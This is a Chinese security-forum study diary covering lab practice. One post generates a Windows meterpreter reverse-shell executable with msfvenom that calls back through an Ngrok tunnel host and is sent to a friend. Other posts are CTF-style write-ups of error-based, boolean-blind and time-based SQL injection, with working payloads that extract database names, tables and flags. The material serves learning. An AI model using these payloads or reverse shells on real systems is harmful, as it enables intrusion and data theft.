安全矩阵

 找回密码
 立即注册
搜索
楼主: wholesome

侯欣悦学习日记

[复制链接]

98

主题

207

帖子

955

积分

高级会员

Rank: 4

积分
955
 楼主| 发表于 2020-5-2 13:38:22 | 显示全部楼层
回复

使用道具 举报

98

主题

207

帖子

955

积分

高级会员

Rank: 4

积分
955
 楼主| 发表于 2020-5-3 23:37:54 | 显示全部楼层
本帖最后由 wholesome 于 2020-5-6 16:37 编辑

5.5.2020
今天空闲的时间看了《Metaspolit下配合Ngrok同时实现内网反弹+转发》发现这篇文章最开始就吸引了我:

这个特别符合我的情况,内网到内网,一直是我的一个疑惑点,所以鱼和熊掌我也都要!
一、Ngrok(基于Go语言编写)
首先了解这个工具吧!这个工具很重要来着。
注册:
登录:
​开通隧道:
根据自己的系统下载客户端:
下载后解压到虚拟机:
  1. msfvenom -p windows/meterpreter/reverse_tcp LHOST=wholesome.free.idcfengye.com LPORT=4443 -f exe -a x86 --platform win -o gong32.exe
复制代码
然后又在kali中运行Ngrok的客户端:
回车执行:
接下来配置监听:
​刚想下载到windows10:
发给对方:
小伙伴执行之后:
​这是成功了还是失败了?我觉得我应该成功了,
卡住不动了,再来,exit:
还有session没有关闭,好激动:
但是我发现交互不了:
但是小伙伴的执行,她成功得到了我的shell:
所以我重新来一遍,然而重来几遍都不行!甚至连我局域网内执行都不可以!
昨天没成功,重新开通一个隧道,改成tcp(昨天是http):
Kali生成反弹木马:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=free.idcfengye.com LPORT=10145 -f exe --platform win -o 32.exe
启动隧道:
./sunny clientid 5e7b1cb532c5c0b5
纠结了半天,原来是kali断网了。
重启终于有网:
这次终于成功了:


回复

使用道具 举报

98

主题

207

帖子

955

积分

高级会员

Rank: 4

积分
955
 楼主| 发表于 2020-5-10 08:10:03 | 显示全部楼层
回复

使用道具 举报

98

主题

207

帖子

955

积分

高级会员

Rank: 4

积分
955
 楼主| 发表于 2020-5-12 19:13:43 | 显示全部楼层
本帖最后由 wholesome 于 2020-5-12 20:35 编辑

sec119第一关:显错注入
工具:firefox
只能说好久没有练习SQL注入了,以至于最开始一点都不熟练。
看看别人怎么做的吧!
通过id变换,可以发现页面的一点点变化,当id=2时:
首先最直接的反应是单引号:
值得注意的是,经过我的实验发现,网站过滤了注释符“#”、“-- ”:
接下来开始猜测字段数了:
最后可以知晓字段数为2。
现在就开始测试回显在第几列:
既然在第二列,那么我们就可以利用这个地方回显出我们需要的东西,获取当前用户,数据库版本,当前数据库,数据库路径:
接下来就是爆表了:
其中有一个flag表:
接下来爆值:
得到flag:


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

98

主题

207

帖子

955

积分

高级会员

Rank: 4

积分
955
 楼主| 发表于 2020-5-12 20:19:48 | 显示全部楼层
本帖最后由 wholesome 于 2020-5-12 20:34 编辑

sec119第二关:布尔注入
布尔注入与上面报错注入不一样,页面没有回显字段:
当order by<=2时,我们视为正确返回,但是当order by=3时,我们的界面返回有变化,由此确定字段个数为2。
注意,由于布尔盲注一般没有回显字段,所以就不支持联合查询。
此时我们构造SQL语句,利用and,or等关键字来其后的语句 true 、 false使web页面返回true或者false,从而达到注入的目的来获取信息。
猜解当前数据库的长度:
一直测试到5,此时我们发现页面可以正常显示:数据库长度为5。
现在就是开始猜测数据库名称了,从左到右截取字符串:
接下来又固定w,测试第二个字符:
再试:
最后循环测试(工作量比较大),得到数据库名字为webug:
当然除了用left函数猜测,还可以使用substr函数爆出:
最后也会得到webug数据库名。
此外,如果也可以用< 、>符号来比较查找,找到一个范围,最后再确定,如:
此时我们就可以确定第二个字符为e。
接下来爆当前数据库存在的表的数量:
7个表,接下来每个表都要爆出表长和表名。这个工作量太大了先猜测第一个表的长度吧:
?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 0,1)))=9%23
第一个表的长度为9。
注意:括号一个也不能少。
同理,此时我们可以猜测其他表的长度:
以此类推,7个表的长度分别为:9/8/8/4/12/4/9
接下来测试每个表的名称了:
?id=1' and (substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>'a'%23
最后测出第一个表的首字母为d:
第二个字符为a。
......
由此类推。测出每个表的名称。
最后,如果花费时间爆表的话,我们能够知道这些表的名称和第一关一样,这里我就贴出第一关表的结果:
正常原理来说,还是flag,不知道里面的flag是否是动态的。那我们直接测试flag表:
先求指定表中列的数量:
然后猜解每一列的名字:
?id=1' and (substr((select column_name from information_schema.columns where table_name='flag' limit 0,1),1,1))='i'%23
以此类推,猜解出两列的名称id,flag
然后猜解id列里面字段的数量和名称,显示只有一个1,接下来对应id=1猜解flag列的内容长度和值:
?id=1' and (length((select flag from flag where id=1)))=16%23
第一个字母为d,由此猜测16个字母为:dfafdasfafdsadfa。与第一关的flag一致。提交之后是错误的:
那么flag不应该在这个表。
七个表!一个一个猜解?总之思路就这样,考虑到时间,我就不写了!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

98

主题

207

帖子

955

积分

高级会员

Rank: 4

积分
955
 楼主| 发表于 2020-5-12 20:32:00 | 显示全部楼层
sec119第三关:延时注入
延时注入适用于,无法回现和无法显示错误页面的场景,此时我们可以利用sleep()函数让服务器休眠,通过休眠时间判断执行的语句对错,从而得到我们想要的信息。
那么怎么判断呢?这个时候我们就要用到if()函数和sleep()函数了。if(a,b,c)条件判断函数:if判断句,a为条件,b、c为执行语句;如果a为真就执行b,a为假就执行c;
?id=1' and if(length(database())=1,0,sleep(3))%23
所以时间长度为5。
测试数据库名称:
?id=1' and if(substr(database(),1,1)='w',0,sleep(3))%23
所以数据库名的第一个字符为:“w”
当然,为了方便,我们也可以采用left函数:
这个时候测试猜解就比较容易看到已经猜解的字符:
?id=1' and if(left(database(),5)='webug',0,sleep(3))%23
最后猜解出数据库名webug:
接下来就要猜解数据库里面的表的个数:
?id=1' and if((select count(table_name) from information_schema.tables where table_schema=database())=7,0,sleep(3))%23
猜解表名:
?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='c',0,sleep(3))%23
接着尝试:
由此可知,第一个字符为:“d”
依次类推,爆出webug下的表:
data_crud,env_list,env_path,flag,sqlinjection,user,user_test
利用延时注入爆env_list表下的列:
?id=1' and if(left((select column_name from information_schema.columns where table_name='env_list' limit 0,1),1)='i',0,sleep(3))%23
env_list的表里有:
id,envName,envDesc,envIntegration,delFlag,envFlag,level,type
需要是的注意的是,由于这里是第三关,所以我们利用延时注入爆id=3时envFlag内容:
?id=1' and if(substr((select EnvFlag from env_list where id=3),1,1)='g',0,sleep(3))%23
flag第一个字符为g,为了方便使用left函数:
最后flag为:gfdgdfsdg

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

98

主题

207

帖子

955

积分

高级会员

Rank: 4

积分
955
 楼主| 发表于 2020-5-14 14:36:03 | 显示全部楼层
回复

使用道具 举报

98

主题

207

帖子

955

积分

高级会员

Rank: 4

积分
955
 楼主| 发表于 2020-5-16 17:21:26 | 显示全部楼层
今天sec119做到十四关左右,结果不小心WPS突然卡了,卡了半天,最后强制关闭,全没了!嗯!然后笔记丢失了
回复

使用道具 举报

98

主题

207

帖子

955

积分

高级会员

Rank: 4

积分
955
 楼主| 发表于 2020-5-25 09:00:00 | 显示全部楼层
回复

使用道具 举报

98

主题

207

帖子

955

积分

高级会员

Rank: 4

积分
955
 楼主| 发表于 2020-5-29 13:32:35 | 显示全部楼层
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 03:37 , Processed in 0.041993 second(s), 17 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表